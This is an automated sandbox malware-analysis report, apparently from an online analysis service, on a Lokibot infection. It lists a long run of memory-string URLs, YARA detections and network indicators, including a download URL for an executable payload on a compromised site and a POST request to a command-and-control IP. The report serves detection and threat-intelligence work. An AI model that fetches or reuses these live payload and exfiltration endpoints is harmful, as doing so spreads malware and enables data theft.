Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56
Source: unknown	TCP traffic detected without corresponding DNS query: 185.206.215.56

Source: C:\Users\user\AppData\Local\Temp\RegAsm.exe

Code function: 17_2_00404ED4 recv,

17_2_00404ED4

Source: global traffic

HTTP traffic detected: GET /wp-content/themes/index/QPR-3067.exe HTTP/1.1Host: bighoreca.nlConnection: Keep-Alive

Source: powershell.exe, 00000006.00000002.2103852429.000000001CD80000.00000002.00000001.sdmp, 12.exe, 0000000B.00000002.2187386267.0000000008780000.00000002.00000001.sdmp	String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: cutt.ly

Source: unknown

HTTP traffic detected: POST /morx/1/cgi.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 185.206.215.56Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 598F9AF4Content-Length: 176Connection: close

Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0
Source: powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	String found in binary or memory: http://bighoreca.nl
Source: powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	String found in binary or memory: http://bighoreca.nl/wp-content/themes/index/QPR-3067.exe
Source: powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	String found in binary or memory: http://ca.disig.sk/ca/crl/ca_disig.crl0
Source: powershell.exe, 00000006.00000002.2103765249.000000001B907000.00000004.00000001.sdmp	String found in binary or memory: http://ca.sia.it/seccli/repository/CRL.der0J
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://ca.sia.it/secsrv/repository/CRL.der0J
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	String found in binary or memory: http://cacerts.rapidssl.com/RapidSSLTLSRSACAG1.crt0
Source: powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	String found in binary or memory: http://cdp.rapidssl.com/RapidSSLTLSRSACAG1.crl0L
Source: powershell.exe, 00000006.00000002.2105871443.000000001D196000.00000004.00000001.sdmp	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/publicnotaryroot.html0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://crl.chambersign.org/publicnotaryroot.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/TrustedCertificateServices.crl0:
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000006.00000002.2103729703.000000001B8CC000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.oces.certifikat.dk/oces.crl0
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://crl.pki.wellsfargo.com/wsprca.crl0
Source: powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-a/cacrl.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-b/cacrl.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-c/cacrl.crl0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl0c
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: powershell.exe, 00000006.00000002.2103765249.000000001B907000.00000004.00000001.sdmp, powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/DF3C24F9BFD666761B268073FE06D
Source: powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabn
Source: powershell.exe, 00000006.00000002.2098107246.000000000025D000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/enf
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignSecuredCA.crl0
Source: powershell.exe, 00000006.00000002.2103852429.000000001CD80000.00000002.00000001.sdmp, 12.exe, 0000000B.00000002.2187386267.0000000008780000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: powershell.exe, 00000006.00000002.2103852429.000000001CD80000.00000002.00000001.sdmp, 12.exe, 0000000B.00000002.2187386267.0000000008780000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: powershell.exe, 00000006.00000002.2104088848.000000001CF67000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: powershell.exe, 00000006.00000002.2104088848.000000001CF67000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0B
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000006.00000002.2103729703.000000001B8CC000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.infonotary.com/responder.cgi0V
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.pki.gva.es0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://repository.infonotary.com/cps/qcps.html0$
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: powershell.exe, 00000006.00000002.2098764453.0000000002330000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2135210182.0000000002380000.00000002.00000001.sdmp, powershell.exe, 00000009.00000002.2149819469.0000000002360000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: powershell.exe, 00000006.00000002.2107223409.000000001D360000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: powershell.exe, 00000006.00000002.2104088848.000000001CF67000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	String found in binary or memory: http://status.rapidssl.com0
Source: powershell.exe, 00000006.00000002.2104088848.000000001CF67000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000006.00000002.2098764453.0000000002330000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2135210182.0000000002380000.00000002.00000001.sdmp, powershell.exe, 00000009.00000002.2149819469.0000000002360000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.a-cert.at/certificate-policy.html0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.a-cert.at/certificate-policy.html0;
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.a-cert.at0E
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://www.acabogacia.org/doc0
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://www.acabogacia.org0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.ancert.com/cps0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/certicamaraca.crl0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/certicamaraca.crl0;
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/dpc/0Z
Source: powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAII.crl0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.certifikat.dk/repository0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class1.crl0
Source: powershell.exe, 00000006.00000003.2094933870.000000001D1B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3.crl0
Source: powershell.exe, 00000006.00000003.2094933870.000000001D1B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3TS.crl0
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://www.chambersign.org1
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.comsign.co.il/cps0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.crc.bg0
Source: powershell.exe, 00000006.00000002.2103729703.000000001B8CC000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000006.00000002.2102583791.00000000036A6000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: powershell.exe, 00000006.00000002.2103702990.000000001B893000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.digsigtrust.com/DST_TRUST_CPS_v990701.html0
Source: powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	String found in binary or memory: http://www.disig.sk/ca/crl/ca_disig.crl0
Source: powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	String found in binary or memory: http://www.disig.sk/ca0f
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.dnie.es/dpc0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-certchile.cl/html/productos/download/CPSv1.7.pdf01
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-me.lv/repository0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crl
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/RootCA.crt0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-szigno.hu/SZSZ/0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.e-trust.be/CPS/QNcerts
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.echoworx.com/ca/root2/cps.pdf0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.entrust.net/CRL/Client1.crl0
Source: powershell.exe, 00000006.00000003.2094933870.000000001D1B9000.00000004.00000001.sdmp	String found in binary or memory: http://www.entrust.net/CRL/net1.crl0
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: http://www.firmaprofesional.com0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.globaltrust.info0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.globaltrust.info0=
Source: powershell.exe, 00000006.00000002.2103852429.000000001CD80000.00000002.00000001.sdmp, 12.exe, 0000000B.00000002.2187386267.0000000008780000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: RegAsm.exe	String found in binary or memory: http://www.ibsensoftware.com/
Source: powershell.exe, 00000006.00000002.2104088848.000000001CF67000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.informatik.admin.ch/PKI/links/CPS_2_16_756_1_17_3_1_0.pdf0
Source: powershell.exe, 00000006.00000002.2103852429.000000001CD80000.00000002.00000001.sdmp, 12.exe, 0000000B.00000002.2187386267.0000000008780000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000008.00000002.2134654234.000000000024E000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp, powershell.exe, 00000008.00000002.2134654234.000000000024E000.00000004.00000020.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: powershell.exe, 00000006.00000002.2105871443.000000001D196000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.admin.ch/policy/CPS_2_16_756_1_17_3_21_1.pdf0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.gva.es/cps0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.pki.gva.es/cps0%
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.pkioverheid.nl/policies/root-policy0
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp, powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.post.trust.ie/reposit/cps.html0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadis.bm0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.quovadisglobal.com/cps0
Source: powershell.exe, 00000006.00000002.2106986804.000000001D1E4000.00000004.00000001.sdmp	String found in binary or memory: http://www.registradores.org/scr/normativa/cp_f2.htm0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.rootca.or.kr/rca/cps.html0
Source: powershell.exe, 00000006.00000003.2094900131.000000001D1E4000.00000004.00000001.sdmp	String found in binary or memory: http://www.signatur.rtr.at/current.crl0
Source: powershell.exe, 00000006.00000003.2094900131.000000001D1E4000.00000004.00000001.sdmp	String found in binary or memory: http://www.signatur.rtr.at/de/directory/cps.html0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.sk.ee/cps/0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.sk.ee/juur/crl/0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.ssc.lt/cps03
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_2_ca_II.crl
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/crl/v2/tc_class_3_ca_II.crl
Source: powershell.exe, 00000006.00000003.2094858856.000000001D2AE000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustcenter.de/guidelines0
Source: powershell.exe, 00000006.00000002.2103652511.000000001B830000.00000004.00000001.sdmp	String found in binary or memory: http://www.trustdst.com/certificates/policy/ACES-index.html0
Source: powershell.exe, 00000006.00000002.2103765249.000000001B907000.00000004.00000001.sdmp	String found in binary or memory: http://www.valicert.com/1
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: http://www.wellsfargo.com/certpolicy0
Source: 12.exe, 0000000B.00000002.2187386267.0000000008780000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000006.00000002.2103765249.000000001B907000.00000004.00000001.sdmp	String found in binary or memory: https://ca.sia.it/seccli/repository/CPS0
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: https://ca.sia.it/secsrv/repository/CPS0
Source: powershell.exe, 00000006.00000002.2101898032.0000000003566000.00000004.00000001.sdmp	String found in binary or memory: https://cutt.ly
Source: powershell.exe, 00000006.00000002.2101898032.0000000003566000.00000004.00000001.sdmp	String found in binary or memory: https://cutt.ly/
Source: powershell.exe, 00000006.00000002.2098023844.00000000001D0000.00000004.00000020.sdmp, powershell.exe, 00000006.00000002.2099196904.0000000002BD1000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.2099216608.0000000002BFF000.00000004.00000001.sdmp	String found in binary or memory: https://cutt.ly/qjdJoz4
Source: powershell.exe, 00000006.00000002.2101898032.0000000003566000.00000004.00000001.sdmp	String found in binary or memory: https://cutt.ly/qjdJoz4PE
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: https://rca.e-szigno.hu/ocsp0-
Source: powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	String found in binary or memory: https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: https://secure.a-cert.at/cgi-bin/a-cert-advanced.cgi0
Source: powershell.exe, 00000006.00000002.2098054472.000000000020E000.00000004.00000020.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: https://www.catcert.net/verarrel
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: https://www.catcert.net/verarrel05
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0
Source: powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	String found in binary or memory: https://www.certification.tn/cgi-bin/pub/crl/cacrl.crl0E
Source: powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	String found in binary or memory: https://www.digicert.com/CPS0
Source: powershell.exe, 00000006.00000002.2102568454.0000000003688000.00000004.00000001.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=UA-112763434-1
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: https://www.netlock.hu/docs/
Source: powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	String found in binary or memory: https://www.netlock.net/docs

Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 0000000F.00000002.2194899454.0000000003D59000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000B.00000002.2181372307.00000000040CD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0000000F.00000002.2194803649.0000000003CBD000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000012.00000002.2213431587.0000000003CF1000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
